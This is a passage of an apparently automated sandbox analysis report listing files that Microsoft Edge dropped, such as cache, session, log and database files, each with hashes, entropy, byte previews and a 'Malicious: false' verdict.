Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187457
Entropy (8bit):	6.381766645163782
Encrypted:	false
SSDEEP:	3072:pevp4+RLR9Lwl75jf6LNjNxm4Z5v5+1Qzi4TL/JDncAU:E9LwlFfsXR+1j4TL/Ri
MD5:	106B9A052004E407ED6B624A8C8F2658
SHA1:	E9433FF8AE501EC870B2DE48FBD30273607B1380
SHA-256:	362EC358DE34937401BD12956F2EE3D19EF494BDDB3022EC026402ABE54D0636
SHA-512:	4525A2FB06E75C159F999DFADDA70E0A572F0A17F3896E9467A446ABA2CE34333BE281C10505AE9AECFB3191185963361821F5E03E3A64D28B0534C1F5BBDDBC
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc2.......exports...Rc..E.....module....Rc...o....define....Rb.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.jL.Hb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.509856868205173
Encrypted:	false
SSDEEP:	3:8uP0E0Xl/lkV/lxE0tllcLIkf:800zkW0a8O
MD5:	C308241974F0B454A2F77293F9A9FEF4
SHA1:	DB6471828D590753DD3C8396346A772DAF991D79
SHA-256:	BF1B522909E955856FC099C1251D9DAA54EF81C30CECCDCC94A9272D634EFE40
SHA-512:	D56A44DC216189EBC2C6A2331EDA0EB32F09253DEF18E85654CE85D0CB017D37497B1D3566B1353E48BCBEEE72AD074820826406D74E6C98F111FA3891FAC78E
Malicious:	false
Preview:	@...IK\[oy retne.........................X....,................\...K./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.509856868205173
Encrypted:	false
SSDEEP:	3:8uP0E0Xl/lkV/lxE0tllcLIkf:800zkW0a8O
MD5:	C308241974F0B454A2F77293F9A9FEF4
SHA1:	DB6471828D590753DD3C8396346A772DAF991D79
SHA-256:	BF1B522909E955856FC099C1251D9DAA54EF81C30CECCDCC94A9272D634EFE40
SHA-512:	D56A44DC216189EBC2C6A2331EDA0EB32F09253DEF18E85654CE85D0CB017D37497B1D3566B1353E48BCBEEE72AD074820826406D74E6C98F111FA3891FAC78E
Malicious:	false
Preview:	@...IK\[oy retne.........................X....,................\...K./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF406c3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.509856868205173
Encrypted:	false
SSDEEP:	3:8uP0E0Xl/lkV/lxE0tllcLIkf:800zkW0a8O
MD5:	C308241974F0B454A2F77293F9A9FEF4
SHA1:	DB6471828D590753DD3C8396346A772DAF991D79
SHA-256:	BF1B522909E955856FC099C1251D9DAA54EF81C30CECCDCC94A9272D634EFE40
SHA-512:	D56A44DC216189EBC2C6A2331EDA0EB32F09253DEF18E85654CE85D0CB017D37497B1D3566B1353E48BCBEEE72AD074820826406D74E6C98F111FA3891FAC78E
Malicious:	false
Preview:	@...IK\[oy retne.........................X....,................\...K./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5517
Entropy (8bit):	3.4254216465513294
Encrypted:	false
SSDEEP:	96:rQhKeBaqum1I57KiHL3Z/Y9FZp+LD+LiHLokIT9D1V65SLl9iSrp1dRSgk0:sNX257/Hq9Lp+LDciHLDI/65SLl9iSr9
MD5:	099F666DCC8DB5633CA3FC3C1A265541
SHA1:	37768F8897FEC09B7523F8028FE45BC204FC3C2A
SHA-256:	9FC111720649FAE93427935214522E0ACFDA6354921C392FB6CFF360166C64AB
SHA-512:	025FD0A049EF4DA0915CDC1413D827023A7DE25D28B8D893650A1FFEC06F914D908A8CB2C14F439CB0225421758B51F72BBE9E0B0DF884851D1F427CBB3514E2
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f..................b................next-map-id.1.Cnamespace-a7ae596c_bb05_4aaa_8f40_406a08b7b8e6-https://ntp.msn.com/.0j...H................map-0-shd_sweeper.({.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.p.r.g.-.m.s.n.-.n.e.w.b.r.a.n.d.,.p.r.g.-.1.s.w.-.n.e.w.b.r.a.n.d.,.p.r.g.-.p.r.2.-.n.e.w.b.r.a.n.d.,.p.n.p.w.e.a.t.o.d.a.y.,.s.h.s.t.r.3.c.-.c.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.2.a.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.g.e.i.m.l.i.k.e.2.,.p.r.g.-.1.s.w.-.s.a.e.r.e.v.a.r.f.1.t.1.,.p.r.e.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.3.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.p.r.g.-.1.s.w.-.c.-.c.o.r.e.b.n.d.l.,.p.r.g.-.1.s.w.-.c.-.c.r.b.n.d.l.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.-.c.,.p.r.g.-.1.s.w.-.h.u.p.s.e.l.l.-.t.r.4.,.p.r.g.-.1.s.w.-.h.u.p.s.e.l.l.-.4.,.p.r.g.-.1.s.w.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.076174210153587
Encrypted:	false
SSDEEP:	6:6BUqfq2P923oH+TcwtrQMxIFUt8vBUzhZmw+vBUukwO923oH+TcwtrQMFLJ:6BUOv4YebCFUt8vBUzh/+vBUu5LYebtJ
MD5:	DEB543371BFA90133677125C0F10EB38
SHA1:	36F15E8E8413A9FE50C8B0081F6542F7E0B04FB6
SHA-256:	627D7B8195E57362654E173D975F0324542D168BD5D7C5E7A3CA1C8FF585FB8C
SHA-512:	449EF73C34CD7D19EDC1A4C6C707C02E25872453FA9D1FABDCA2A3404DBC140E0AABE2D76D539E585573681CEEA2F235E72C6FFF13701F96617972E2E1879A94
Malicious:	false
Preview:	2024/10/30-13:06:34.066 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-13:06:34.068 1830 Recovering log #3.2024/10/30-13:06:34.090 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.076174210153587
Encrypted:	false
SSDEEP:	6:6BUqfq2P923oH+TcwtrQMxIFUt8vBUzhZmw+vBUukwO923oH+TcwtrQMFLJ:6BUOv4YebCFUt8vBUzh/+vBUu5LYebtJ
MD5:	DEB543371BFA90133677125C0F10EB38
SHA1:	36F15E8E8413A9FE50C8B0081F6542F7E0B04FB6
SHA-256:	627D7B8195E57362654E173D975F0324542D168BD5D7C5E7A3CA1C8FF585FB8C
SHA-512:	449EF73C34CD7D19EDC1A4C6C707C02E25872453FA9D1FABDCA2A3404DBC140E0AABE2D76D539E585573681CEEA2F235E72C6FFF13701F96617972E2E1879A94
Malicious:	false
Preview:	2024/10/30-13:06:34.066 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-13:06:34.068 1830 Recovering log #3.2024/10/30-13:06:34.090 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374781595800694

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.792511630647226
Encrypted:	false
SSDEEP:	24:3u9v5c5RvTFye23psAF4unxTQtLp3X2amEtG1ChqVNRqDbBNgQKkOAM4:3MklFy3zFDOLp2FEkCh+zkb1HOp
MD5:	C1875E01E490C5A2EEE6D0E8551E0F98
SHA1:	309FEADCD4D52E5FDB2BD161B2F6C0F53BBB488E
SHA-256:	A138EA41305C6177BAAC9AEF91781100EA95B5A524D012A36C54F78B7B81CC3A
SHA-512:	9B022F0D4D0A85F3EF9A7E3C89BDEFB10484B6274AE169F132B4DFC299C88A559FFD283854B2F699E15C2E7E44317155D43BBD767DEDBC01E174922E55347994
Malicious:	false
Preview:	SNSS........1A/............1A/......".1A/............1A/........1A/........1A/........1A/....!...1A/................................1A/.1A/1..,....1A/$...a7ae596c_bb05_4aaa_8f40_406a08b7b8e6....1A/........1A/...............1A/....1A/........................1A/....................5..0....1A/&...{98952893-68FF-4A5D-A164-705C709ED3DB}......1A/........1A/...........................1A/............1A/........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......&.r..%..'.r..%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.13452403577028
Encrypted:	false
SSDEEP:	6:6BtXo9+q2P923oH+Tcwt7Uh2ghZIFUt8vBtXFXJZmw+vBtXsX9VkwO923oH+TcwK:6BtXo4v4YebIhHh2FUt8vBtXFXJ/+vBd
MD5:	FC972D7935EA1571824C80E5743D7A74
SHA1:	B3898C29936801E89A2548D8B13BDD486C3E6A1E
SHA-256:	E8A69C26C4549CA8AD752C28D48453778AE9E08A8DA1F423DAA44A42489C4190
SHA-512:	50735ED563506AC7F1EA962485108958E33A47FD14386D2008A7A46BE4D4C6C78F11F3FEA66F8B79FD5264097EDC668E26E5E272A6BACB233B504FC55BA14D06
Malicious:	false
Preview:	2024/10/30-13:06:33.251 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-13:06:33.252 1db8 Recovering log #3.2024/10/30-13:06:33.253 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.13452403577028
Encrypted:	false
SSDEEP:	6:6BtXo9+q2P923oH+Tcwt7Uh2ghZIFUt8vBtXFXJZmw+vBtXsX9VkwO923oH+TcwK:6BtXo4v4YebIhHh2FUt8vBtXFXJ/+vBd
MD5:	FC972D7935EA1571824C80E5743D7A74
SHA1:	B3898C29936801E89A2548D8B13BDD486C3E6A1E
SHA-256:	E8A69C26C4549CA8AD752C28D48453778AE9E08A8DA1F423DAA44A42489C4190
SHA-512:	50735ED563506AC7F1EA962485108958E33A47FD14386D2008A7A46BE4D4C6C78F11F3FEA66F8B79FD5264097EDC668E26E5E272A6BACB233B504FC55BA14D06
Malicious:	false
Preview:	2024/10/30-13:06:33.251 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-13:06:33.252 1db8 Recovering log #3.2024/10/30-13:06:33.253 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.195243016035723
Encrypted:	false
SSDEEP:	12:6BUJGv4YebvqBQFUt8vBUBF/+vBUNz5LYebvqBvJ:oh4YebvZg8JauWlLYebvk
MD5:	2E478763C88FDD307ABBCEF7A8DDF3F0
SHA1:	C126429854821A7AF9976B7B1F4FED749776C247
SHA-256:	3668C34F27F388A3A29B8A4F716F99174E3FFB18B44F2B6B482A0C6B1C495B6C
SHA-512:	E7AB0C84A03CE8AFBF05F0961952022B5313E034BFB5D1C8F90B8A81E55A0CA1B3902F73690F10D8FE42A488BADF806ED9513BE7E421F4DD597DF257EFF5A4C2
Malicious:	false
Preview:	2024/10/30-13:06:34.031 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-13:06:34.051 17d0 Recovering log #3.2024/10/30-13:06:34.064 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.195243016035723
Encrypted:	false
SSDEEP:	12:6BUJGv4YebvqBQFUt8vBUBF/+vBUNz5LYebvqBvJ:oh4YebvZg8JauWlLYebvk
MD5:	2E478763C88FDD307ABBCEF7A8DDF3F0
SHA1:	C126429854821A7AF9976B7B1F4FED749776C247
SHA-256:	3668C34F27F388A3A29B8A4F716F99174E3FFB18B44F2B6B482A0C6B1C495B6C
SHA-512:	E7AB0C84A03CE8AFBF05F0961952022B5313E034BFB5D1C8F90B8A81E55A0CA1B3902F73690F10D8FE42A488BADF806ED9513BE7E421F4DD597DF257EFF5A4C2
Malicious:	false
Preview:	2024/10/30-13:06:34.031 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-13:06:34.051 17d0 Recovering log #3.2024/10/30-13:06:34.064 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4f13a71a-4fdb-4184-9660-c205f67e7020.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9c9a2c86-c7d0-4b8f-a3ef-af62034a7bcc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ae52.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3b1ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c5bcdf31-350e-4fb1-a041-6a154968356c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
